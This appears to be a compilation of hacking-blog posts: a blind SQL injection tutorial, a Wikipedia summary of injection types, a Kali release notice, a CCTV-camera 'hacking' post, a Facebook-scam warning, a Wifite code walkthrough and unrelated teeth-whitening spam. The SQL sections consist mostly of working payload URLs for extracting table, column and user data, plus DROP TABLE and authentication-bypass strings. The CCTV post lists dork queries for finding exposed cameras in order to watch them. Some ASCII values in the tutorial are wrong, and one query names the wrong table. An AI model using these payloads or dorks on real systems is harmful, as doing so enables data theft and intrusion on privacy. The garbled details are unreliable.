Now the first take is to find out whether the target is vulnerable or not. Ideally, one would add an asterisk to find whether the target is vulnerable to classical injection. If not, then only should he/she proceed to blind SQLi. In our case, the target is indeed vulnerable to classical injection (since we see an error when we append an asterisk ' to the url). But for the sake of learning, we will ignore this fact and proceed with Blind SQLi. We will from now assume that there will be no errors whatsoever to aid our attack.

Now we have a problem

If the site won't return any errors, how can we find out if it's vulnerable? The solution is a pretty elegant one. This attack is based on boolean algebra. It's pretty intuitive and surprisingly simple.

The basic concept is as simple as the following :-
(true and true ) = true

When we specify 1=2

(true and false) = false
Also,
1=1 is true
1=2 is false

Now look at the statements-

http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1

http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2

When we specify 1=1

Now the basic condition for determining whether the website is vulnerable to injection is to find out whether it executes the code we send it, or just ignores it. Earlier we used asterisk and the error suggested that our code was indeed processed. This time errors are not shown, so we use logic. In the first URL, the condition evaluates as true, and page is displayed as usual. Basically we're asking the table to show the page if it's 'category is 2' and '1 is the same as 1'. Both the conditions are fulfilled and page is shown. In the second case, 'category is 2' but '1 is not the same as 2', so the conditions simplify to false, and nothing is shown. What can we conclude? We conclude that the code we add to the URL is processed by the DBMS software (usually MySQL).

Finding other details

Now the process of finding out other details would be identical. We now know that if we type a true statement after and, then the page is displayed, else it's not. We can simply keep guessing stuff till we are right, in which case the condition is true, and page is displayed.

Finding version

Now it is very impractical to expect that we'll be easily able to guess the complete version, the pic will show you why (it's from the manual SQLi tutorial)

However, we don't need to know the exact version. Finding out whether it's MySQL version 4 or 5 is sufficient. For that, we can extract a substring from the version, which in this case, is simply the first character of the version. This can be done using substr(@@version,1,1). @@version returns the whole 5.1.6.9........ thing but 1,1 extracts the first character. We can then equate it with 4 or 5 to find out which version the website is using.
PS: I put this screenshot here to explain why we used substring, we didn't use the fact that we know the version of SQL already in any way. Even if you have no clue about the version (which is what is going to happen in real life scenario), you can find out the version by looking at the output of the following URLs. You can read more about Substring clause here.

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=4

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=5

As you might have guessed, the version is 5 since it did not return a blank page. I hope you've started to see the pattern now.

Finding tables, columns and records

We will now have to guess the table names. The idea is to start with some common ones, and you'll most probably get a few tables. Most databases have a table for users, admin, login, employees, etc. Now I'll demonstrate a few failures and successes and then we'll proceed. There is another alternate in which we can go character by character. There is a third method where we can use ASCII codes too.

Problem : Since the website does not display output, how do we find out the table names?
Solution : We can do what we've been doing so far, ask the website if table name = X , where X is our guess at table name. We will keep repeating until the condition returns true, i.e., the exists a table with the name that we guessed.

Problem : This is just a concept, how do we put it to action? How do we ask the database to return true if we guess the right table name? Can't be as simple as 1=1....
Solution : We will use the select query. select 1 from X is going to be our query. If there is a table called X, then output will be one. Now we can use this output to generate a condition. (select 1 from X) = 1. If X table exists, then output will be 1. Since 1=1, condition will be true. If X does not exist, condition will be false.

Problem : What if we can't guess the table name?
Solution : We have 2 more alternatives. First is to use substr, as we did while finding version, to find out the table name character by character. Basically, we will ask the table if first character of table name is a. If not, we'll try b, c, d, etc. After that we'll proceed to second character. This way, we are guaranteed to find out the table name. (I hope you are getting a good idea why it's called blind SQLi)

Alternate Solution : We can use ASCII values to speed up the above solution. Basically, we can't directly compare characters like number. 6 is greater than 5, but b is not greater than a. Characters can't be compared like that. However, their ASCII forms can, since each alphabet corresponds to a number in ASCII. We can use this fact to ask the table if the first letter of the table name is more than P or less than it. This way, if the table says it's more, we don't have to check the alphabets before P, and Vice Versa. [This is just the concept, I'll demonstrate how it's to be done].

Now, for finding table name, I'll stick to simple guessing. The remaining 2 concepts will be demonstrated while finding column name and data value respectively.

Limit Clause : It must be noted that select query returns all the results from a given table, not just the first. For example, if a table has 500 records, and you ask the table for records where first table is 'a', it will return not one, but all the records with first letter 'a'. This is not what we want. To avoid this, we use limit clause.
Here is a short summary, read the complete section on Limit clause here.

SELECT * FROM tbl
LIMIT offset, count

Let’s see what the offset and count mean in the LIMIT clause:

The offset specifies the offset of the first row to return. The offset of the first row is 0, not 1.
The count specifies maximum number of rows to return.

I've covered all the concepts, now I hope you can read the commands and figure out what they mean.

Table name

Now we'll try to guess table name

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1

The error message will not be displayed in real blind SQLi. We will see a blank output, like we did earlier.

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1

The page loads fine. This means there is indeed a table named users.

Now, if you are trying this attack on some other site, then you might not be able to guess the name if it isn't as obvious as users. So I recommend you keep reading and try again once you know how to guess one letter at a time (for column name) and how to use ASCII (for obtaining data).
PS: Here limit is not required since we guessed the whole table name at once and not character by character.

Column Name

1. Guessing the whole name

Now, there are 2 ways to get column name. The first way is to guess the complete column name, as we did for table name.

http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1

http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1

The page displays normally for uname, so we know that a column called uname exists. For practice, you can also replace uname with pass,cc,address,email,name,phone,cart1. All these columns also exist in the table.

2. Guessing character by character using equality (=)

The second way is to go character by character. There are 2 ways to do this too. One is to guess the character directly, second is to find the range in which the character lies, and then guess it. I'll show both. This method requires information_schema, i.e. it will work for MySQL 5 series but not 4.
Here I have directly used 117. You may (and in reality will have to) try all possible ascii codes (65 to 122 for A to z)

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

PS: I tried to see if MySQL automatically converts the character to their ASCII value, and found out that it does indeed. So one may skim the query a bit and finally it will be like. So basically, contrary to what I said earlier, b is indeed bigger than a. Here is the same code with u instead of 117

http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u'

165 is ASCII code for u. We know the column name is uname, so the page should display fine, which it does. You can try values other than 85 and see what happens. Also, 7573657273 is hex code for users (0x indicates hex). Remember, you can do the same for tables by making a few changes. Firstly replaced the bold column in above code with table. A few more changes are necessary too. Here's what the final code looks like :-

3. Guessing character using > or < followed by =

It's almost the same as we did before

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100

We now know it's > 100 (100 is 'd'), since the page displayed properly

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120

But it is less than 120 ('x'), since page doesn't display well.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110

Greater than 110 ('n')

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115

Greater than 115 ('s'). Now only 4 possibilities remain, 116, 117, 118, 119, 120 (it is greater than 116 but not greater than 120). We can now try all 5 one by one. I have also highlighted the ascii part in above queries. You can remove the bold text and replace the numbers with characters in single quotes ('a', 'b', etc., also provided in bold below the code)
Finally you'll get success at-

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

However, we only know the first letter of the column name. To find the second letter, replace the red text from 1 to 2. The code becomes-

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117

It will not display properly since the second character in uname is n. (ascii 110)

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110

You can use the > < = method here too. Everything other than 2 will be the same.

Extracting data

Now while what you did so far wasn't very swift either, what you're going to do now is going to be terribly slow. You have to guess the data as well. Each and everything needs to be guessed.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120

Page doesn't display properly for 120 (x)

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116

So the first letter is 't'. For second character (without ascii this time)

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a'

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'

It lies between 'b' and 'f'

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'

Keep trying

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e'

Second character is 'e'. You may proceed to do so until you find the complete uname. You can ensure that a character was the last in the word by using the following command.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0

If there is any other character left, >0 will always return true.

This was all there is to blind SQL Injection. In the next post I'll introduce you to some tools which do the task for you. To be honest, no one will call you a noob if you use scripts/ tools to automate blind SQLi. It is a really time consuming process and it is not required to waste so much time when you can write a script to do all the guesswork for you.

SQL Injection Intermediate Level

2015-02-17T01:51:00.000-08:00

This is a theoretical post about types of SQL Injection attacks and the concepts behind SQL Injection. I have added this here since so far we had been dealing with URLs, and will continue to do so. For the attacker, there is no direct way to write complete queries and he/she may only make changes to the URL or input form. However, the knowledge of MySQL (or any other DBMS) part of the attack is necessary, since it will be required when you deal with more robust websites where the standard attacks won't work and you need to get creative. Before reading this post, I recommend these 3:-

SQL Injection Basics (theoretical yet important)

Manual SQL Injection (using web browser only)

Automated SQL Injection using SQLMap (Kali Linux needed)

Now we will proceed to the actual content of the post :-

Types of SQL Injection attacks

Classic SQLI
Blind or Inference SQL injection
Database management system-specific SQLI
Compounded SQLI

SQL injection + insufficient authentication
SQL injection + DDoS attacks
SQL injection + DNS hijacking
SQL injection + XSS

Technical implementations

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.

The following line of code illustrates this vulnerability:

statement = "SELECT * FROM users WHERE name ='" + userName + "';"

This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:

' or '1'='1

or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:

' or '1'='1' -- 
' or '1'='1' ({ 
' or '1'='1' /*

renders one of the following SQL statements by the parent language:

SELECT * FROM users WHERE name = '' OR '1'='1';

SELECT * FROM users WHERE name = '' OR '1'='1' -- ';

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true.

The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't

This input renders the final SQL statement as follows and specified:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

Incorrect type handling

This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

1;DROP TABLE users

will drop (delete) the "users" table from the database, since the SQL becomes:

SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

Blind SQL injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

Conditional responses

One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL http://books.example.com/showReview.php?ID=5 would cause the server to run the query

SELECT * FROM bookreviews WHERE ID = 'Value(ID)';

from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs http://books.example.com/showReview.php?ID=5 OR 1=1 and http://books.example.com/showReview.php?ID=5 AND 1=2, which may result in queries

SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';

respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server:

http://books.example.com/showReview.php?ID=5 AND substring(@@version,1,1)=4

, which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved.

Second Order SQL Injection

Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode a SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.

This post is licensed under Creative Commons Attribution-ShareAlike 3.0. This license permits sharing, but requires attribution and that the content be shared under same or similar license . The source of the content in this page is -
https://en.wikipedia.org/wiki/SQL_injection
License details can be read here https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License

Blind SQLi Tutorial

You may read this tutorial if you have gone through the content of this page and are ready to go to the next level.

Kali Linux 1.1.0 Released

2015-02-11T07:56:00.000-08:00

On 9th February 2105, Kali 1.1.0 was released. This is the latest version so far, and has a lot of major changes. Here's what the official Kali website had to say about it. Kali 1.1.0 can be download from here.-

After almost two years of public development (and another year behind the scenes), we are proud to announce our first point release of Kali Linux – version 1.1.0. This release brings with it a mix of unprecedented hardware support as well as rock solid stability. For us, this is a real milestone as this release epitomizes the benefits of our move from BackTrack to Kali Linux over two years ago. As we look at a now mature Kali, we see a versatile, flexible Linux distribution, rich with useful security and penetration testing related features, running on all sorts of weird and wonderful ARM hardware. But enough talk, here are the goods:

The new release runs a 3.18 kernel, patched for wireless injection attacks.
Our ISO build systems are now running off live-build 4.x.
Improved wireless driver support, due to both kernel and firmware upgrades.
NVIDIA Optimus hardware support.
Updated virtualbox-tool, openvm-tools and vmware-tools packages and instructions.
A whole bunch of fixes and updates from our bug-tracker changelog.
And most importantly, we changed grub screens and wallpapers!

DownloadorUpgradeKaliLinux1.1.0

You can download the new version from our Kali Linux Download page, where you’ll also find mini-installer ISOS for both 32 and 64 bit CPU architectures. You can expect updated VMWare and multiple ARM image releases to be posted in the Offensive Security custom Kali Linux image download page in the next few days. As usual, if you’ve already got Kali Linux installed and running, there’s no need to re-download the image as you can simply update your existing operating system using simple aptcommands:

apt-get update
apt-get dist-upgrade

HACK ANY CCTV CAMERAS USING GOOGLE SEARCH

2014-11-04T04:37:00.000-08:00

Hacking a cctv Camera is not so hard just follow the below steps:-

1) OPEN GOOGLE

2) Search any of these line in Google.....!

inurl:”ViewerFrame?Mode=

intitle:Axis 2400 video server

inurl:/view.shtml

intitle:”Live View / – AXIS” | inurl:view/view.shtml^

inurl:ViewerFrame?Mode=

inurl:ViewerFrame?Mode=Refresh

inurl:axis-cgi/jpg

inurl:axis-cgi/mjpg (motion-JPEG)

inurl:view/indexFrame.shtml

inurl:view/index.shtml

inurl:view/view.shtml

liveapplet

intitle:”live view” intitle:axis

intitle:liveapplet

allintitle:”Network Camera NetworkCamera”

intitle:axis intitle:”video server”

intitle:liveapplet inurl:LvAppl

intitle:”EvoCam” inurl:”webcam.html”

intitle:”Live NetSnap Cam-Server feed”

intitle:”Live View / – AXIS”

intitle:”Live View / – AXIS 206M”

intitle:”Live View / – AXIS 206W”

intitle:”Live View / – AXIS 210?

inurl:indexFrame.shtml Axis

inurl:”MultiCameraFrame?Mode=Motion”

intitle:start inurl:cgistart

intitle:”WJ-NT104 Main Page”

intext:”MOBOTIX M1? intext:”Open Menu”

intext:”MOBOTIX M10? intext:”Open Menu”

intext:”MOBOTIX D10? intext:”Open Menu”

intitle:snc-z20 inurl:home/

intitle:snc-cs3 inurl:home/

intitle:snc-rz30 inurl:home/

intitle:”sony network inurl:”ViewerFrame?Mode=

intitle:Axis 2400 video server

inurl:/view.shtml

intitle:”Live View / – AXIS” | inurl:view/view.shtml^

inurl:ViewerFrame?Mode=

inurl:ViewerFrame?Mode=Refresh

inurl:axis-cgi/jpg

inurl:axis-cgi/mjpg (motion-JPEG)

inurl:view/indexFrame.shtml

inurl:view/index.shtml

inurl:view/view.shtml

liveapplet

intitle:”live view” intitle:axis

intitle:liveapplet

allintitle:”Network Camera NetworkCamera”

intitle:axis intitle:”video server”

intitle:liveapplet inurl:LvAppl

intitle:”EvoCam” inurl:”webcam.html”

intitle:”Live NetSnap Cam-Server feed”

intitle:”Live View / – AXIS”

intitle:”Live View / – AXIS 206M”

intitle:”Live View / – AXIS 206W”

intitle:”Live View / – AXIS 210?

inurl:indexFrame.shtml Axis

inurl:”MultiCameraFrame?Mode=Motion”

intitle:start inurl:cgistart

intitle:”WJ-NT104 Main Page”

intext:”MOBOTIX M1? intext:”Open Menu”

intext:”MOBOTIX M10? intext:”Open Menu”

intext:”MOBOTIX D10? intext:”Open Menu”

intitle:snc-z20 inurl:home/

intitle:snc-cs3 inurl:home/

intitle:snc-rz30 inurl:home/

intitle:”sony network camera snc-p1?

intitle:”sony network camera snc-m1?

site:.viewnetcam.com -www.viewnetcam.com

intitle:”Toshiba Network Camera” user login

intitle:”netcam live image”

intitle:”i-Catcher Console – Web Monitor”camera snc-p1?

intitle:”sony network camera snc-m1?

site:.viewnetcam.com -www.viewnetcam.com

intitle:”Toshiba Network Camera” user login

intitle:”netcam live image”

intitle:”i-Catcher Console – Web Monitor”

And you will get IP Address Like

90.404.344.474 and so on ........

open it and enjoy watching !!!!!!

Can You Hack Someone's Facebook Password Using Some Software Or Website?

2014-08-28T21:47:00.000-07:00

Do you know there are over thousands of websites and software that claim to hack Facebook password of any account? They'd ask you the victim's profile ID, maybe your credentials and some money too and will reportedly tell you the password which, to be honest, never works. Ever wonder why? Let me tell you why, they're FAKE! They're a scam which tricks you somehow in losing your money or your own Facebook account. Just give it a thought, why would Zuckerberg and his team spend Billions of Dollars on Facebook if one could hack it in less than a minute? Today, we'll take a look at this topic in detail with some example websites and software and get answers to some common related questions.

The Facebook password cracking Websites and Software

Let's start with some examples here. I googled the subject and picked the top results without order. Didn't care to search harder because there are thousands such and I know that all are FAKE.

So let's look at this GETFBHACK.com.

Their FREE Facebook hacker program is said to be capable of cracking the password of any Facebook user within a day. Sounds cool, I could try it out, but my Norton Antivirus rejected the file straight away.

I also picked up another one. This Hack-Fbook-Password asks me to enter the profile ID of a user and it will crack the password. I said Okay and began the process.

It ran certain algorithms to determine the password and finally landed me on a page that said I could DOWNLOAD the password IF I fill an online survey first. Those of you who've been redirected to surveys would know they don't work and are put just so to get traffic and earn money.

I said maybe I should leave the website now but hey, they gave me a prize!

So I just became the luckiest person in my city just like that!

Now tell me, how can a sane person believe in all this?

The truth!

Let me get this straight to you, these websites do nothing at all just waste your time and are never able to do the job. In fact, downloaded programs just make the situation worse when you run them. I had my Norton Antivirus to guard me otherwise I could be in severe danger currently.

These software are mostly keyloggers and tracking programs that record your keystrokes and action and steal personal information from your computer in the background and send it to their master servers. So ultimately a hacker wannabe gets hacked, how ironic!

From now on in the post, I'll be using the word 'Hacker' for these websites and software since you're no more in the position to be called that.

Why do these 'Hackers' do all that?

Setting up websites, maintaining them and developing software is not an easy task. It requires some money. So why do these 'hackers' do all the hassle? It's because they get equivalent or more money in return. They can extract your credit card details and other banking info from your system and use it for their advantage. They can hack your account and use it for wrong purposes. Give me one reason why one wouldn't steal money and hack accounts for no loss.

Why people fall in their webs?

Why do people try to use such unreal hacking procedures? It's because it's unreal to me, it's unreal to you but not to those who are not much familiar with the working of a software. They get in the web of these hackers and eventually get screwed up pretty bad without consent.

The websites give guarantees and also portray their 'imaginary' happy customers so as to trick a reader. Such tactics are simple but really powerful and serves to their advantage in most cases. This is also why there are thousands of such websites available.

So is Facebook account an 'unbreakable fortress'?

Well, NO. Facebook accounts can be hacked. No online service is foolproof and that is because of the flaws and bugs in their software. There are several ACTUAL hackers in the world who can analyse a website's security and use that against it thus making hacking a reality.

But I'm 100% sure none of them uses these scam and fake websites that claim to do the impossible.

See You All In Next Tutorial

Reading Wifite Source : Coding Hacking Tools In Python

2014-08-13T22:39:00.000-07:00

Today I have a series of tasks for those who want to go a step further and write tools and scripts for others. In this tutorial we will take a look at the source code of Wifite and examine it to see how we can also create our own tools. There are various programming/scripting languages that can be used to accomplish the tasks. Wifite uses python, and that's what we'll start with.

Tasks

Get some basic idea about Python - Take a look here - http://www.codecademy.com/en/tracks/python
Get an idea about GNU General Public License - A good resource here or just take a look at wifite's license terms (optional step but if you're using Linux then it's important to know that the foundation of Linux is on concept of open source software and GNU GPL.
Get a general idea about linux scripting. Use google for that. A comprehensive guide can be found here.
Finally, take a look at the source code of Wifite (it's worth noting that the source code is available openly on because of the fact the it has GNU general public license).

It's important that you follow the first three steps. The tutorial is about the codes which are important for any hacking tool. I don't cover everything. After reading this tutorial you'll know about the mandatory sections in any hacking tool. If you leave the first three steps (the 4th step is covered by me in this tutorial), then you won't be able to code your hacking tool.

The wifite code

Now, a few thing which you will observe about Wifite-

It is written in Python.
It is licensed under the GNU General Public License Version 2 (GNU GPL v2).
It is written by Derv Merkler.
The source is quite well documented and easy to read.

Now lets take a look at the source in parts

#!/usr/bin/python

The #! is always going to be the first two letters of any script in linux. It tells linux to treat the code that follows as executable. The next words tell what the scripting language is, for example-

#!/usr/bin/php for php

#!/usr/bin/perl for perl

#!/usr/bin/python for python

#!/bin/bash for bash scripting

This part is called a shebang.

# -- coding: utf-8 --

This is specific to python. Python recommends that we define the encoding that we'll be using. Take a look here if you need to know more about this - http://legacy.python.org/dev/peps/pep-0263/

General information

A lot of general information and to-do stuff has been written inside a comment. Take a read if you like.

After that there's a list of libraries that were imported. (Quite similar to other languages)

Then all the global variables have been declared. To enhance readability, all the global variables are CAPITAL.

Conditions

At a lot of places conditional statements are used to ensure correct functionality and also that all requirements are met before starting

if os.getuid() != 0:

        print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W

        print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W

        exit(1)

if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?

        print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W

        exit(1)

The getuid returns the privilege. If it's not root (0), then wifite returns error and exits. The OS has to be linux.

This code ensures that the output of all the tools doesn't get printed to the wifite screen.

# Create temporary directory to work in

from tempfile import mkdtemp

temp = mkdtemp(prefix='wifite')

if not temp.endswith(os.sep):

        temp += os.sep

# /dev/null, send output from programs so they don't print to screen.

DN = open(os.devnull, 'w')

This is followed by

###################

# DATA STRUCTURES #

###################

class CapFile:

"""

                Holds data about an access point's .cap file, including AP's ESSID & BSSID.

"""

        def __init__(self, filename, ssid, bssid):

                self.filename = filename

                self.ssid = ssid

                self.bssid = bssid

class Target:

"""

                Holds data for a Target (aka Access Point aka Router)

"""

        def __init__(self, bssid, power, data, channel, encryption, ssid):

                self.bssid = bssid

                self.power = power

                self.data  = data

                self.channel = channel

                self.encryption = encryption

                self.ssid = ssid

                self.wps = False # Default to non-WPS-enabled router.

                self.key = ''

class Client:

"""

                Holds data for a Client (device connected to Access Point/Router)

"""

        def __init__(self, bssid, station, power):

                self.bssid   = bssid

                self.station = station

                self.power   = power

The purpose of the classes is already stated by the author in comments (green).

##################

# MAIN FUNCTIONS #

##################

def main():

"""

                Where the magic happens.

"""

We will have to skim through a lot of code here. Can't cover everything. Some of the code that's easy to understand is shown and explained here.

Checking for the required tools

Wifite does not work independently and uses a lot of tools. For this, the following code is used which checks whether the required programs are installed. It uses conditional statements (if) and looping (for loop). If a program is not found, a prompt is crated. All the aircrack-ng suite tools are clubbed together in one condition, then there's a conditional statement for reaver. If aircrack-ng is not found, the program exits. However, Reaver's absence results in disabling of WPS attack mode only. Then there's code for checking the presense of Pyrit, Cowpatty and tshark. They are optional.

def initial_check():

"""

                Ensures required programs are installed.

"""

        global WPS_DISABLE

        airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']

        for air in airs:

                if program_exists(air): continue

                print R+' [!]'+O+' required program not found: %s' % (R+air+W)

                print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W

                print R+' [!]'+O+'        '+C+'http://www.aircrack-ng.org/'+W

                print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W

                exit_gracefully(1)

        if not program_exists('iw'):

                print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)

                exit_gracefully(1)

        printed = False

        # Check reaver

        if not program_exists('reaver'):

                printed = True

                print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W

                print R+'    '+O+'   available at '+C+'http://code.google.com/p/reaver-wps'+W

                WPS_DISABLE = True

        elif not program_exists('walsh') and not program_exists('wash'):

                printed = True

                print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W

                print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W

        # Check handshake-checking apps

        recs = ['tshark', 'pyrit', 'cowpatty']

        for rec in recs:

                if program_exists(rec): continue

                printed = True

                print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)

        if printed: print ''    

Exiting when ctrl+c is pressed

        except KeyboardInterrupt:

                print '\n '+R+'(^C)'+O+' interrupted\n'

                exit_gracefully(0)

Also, it is necessary to define the exit_gracefully function at a later stage-

def exit_gracefully(code=0):

"""

                We may exit the program at any time.

                We want to remove the temp folder and any files contained within it.

                Removes the temp files/folder and exists with error code "code".

"""

        # Remove temp files and folder

        if os.path.exists(temp):

                for file in os.listdir(temp):

                        os.remove(temp + file)

                os.rmdir(temp)

        # Disable monitor mode if enabled by us

        disable_monitor_mode()

        # Change MAC address back if spoofed

        mac_change_back()

        print GR+" [+]"+W+" quitting" # wifite will now exit"

        print ''

        # GTFO

        exit(code)

This code makes the program exit properly (i.e. clean every file it created and changes it made, and disable monitor mode) when ctrl+c is pressed. Take a look at the following resources for information about except here-

http://www.pythonforbeginners.com/error-handling/python-try-and-except

http://effbot.org/zone/stupid-exceptions-keyboardinterrupt.htm

Conclusion

We now know the basics that we need. It's quite impractical to explain the whole code here. The important part is knowing that the code does the following things-

Starts with the shebang
(Optional) Specify the encoding
Add some comments about the author and licensing stuff
Add important conditions, i.e., whether or not root privileges are available (unless they aren't required to execute your code), and whether the code is executed on a linux environment.
Also check that the programs used by your script are installed in the OS.
Define the required classes to organize data and functioning.
Ensure that your programs exits properly when ctrl+c is pressed.
Do the main coding (depends on what you are making).

It might be worth noting here that we just covered some basics here, which would be common to most tools. With this knowledge you can easily code your own tools.

How To Whiten Your Teeth At Home In 2 Minutes

2014-08-05T22:11:00.000-07:00

Top 3 Methods ( ✔ Verified by Dentists) To Whiten Your Teeth At Home.White Your Teeth Naturally In 2 Minutes(Works 100%).

☞ How To Whiten Your Teeth At Home In 2 Minutes ☜

Share this video:-

http://youtu.be/obkxZcuXDg8

☺Method 1:- Whiten Your Teeth With Hydrogen Peroxide.

➫ How to Whiten Your Teeth At Home

☺Method 2:- Whiten Your Teeth With Baking Soda.

➫ How to Whiten Your Teeth At Home

☺Method 3:- Whiten Your Teeth With Lime † Baking Soda.

➫ How to Whiten Your Teeth At Home

Watch The Video:-

Links:-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://facebook.com/suraj.p...
http://instagram.com/canugod
http://itstrickszone.blogsp...
http://youtube.com/jptv1dz

Make You Android Fast By 10x:- https://www.youtube.com/wat...

Speed up youtube videos:- https://www.youtube.com/wat......

Speed up your google chrome:- https://www.youtube.com/wat......

Thank you http://www.ravenprodesign.com/ for intro...

How To Whiten Your Teeth At Home In 2 Minutes

More Tags:- How to Have Natural White Teeth In 3 minutes
How to get really white teeth
How to whiten teeth for free
How to get white teeth
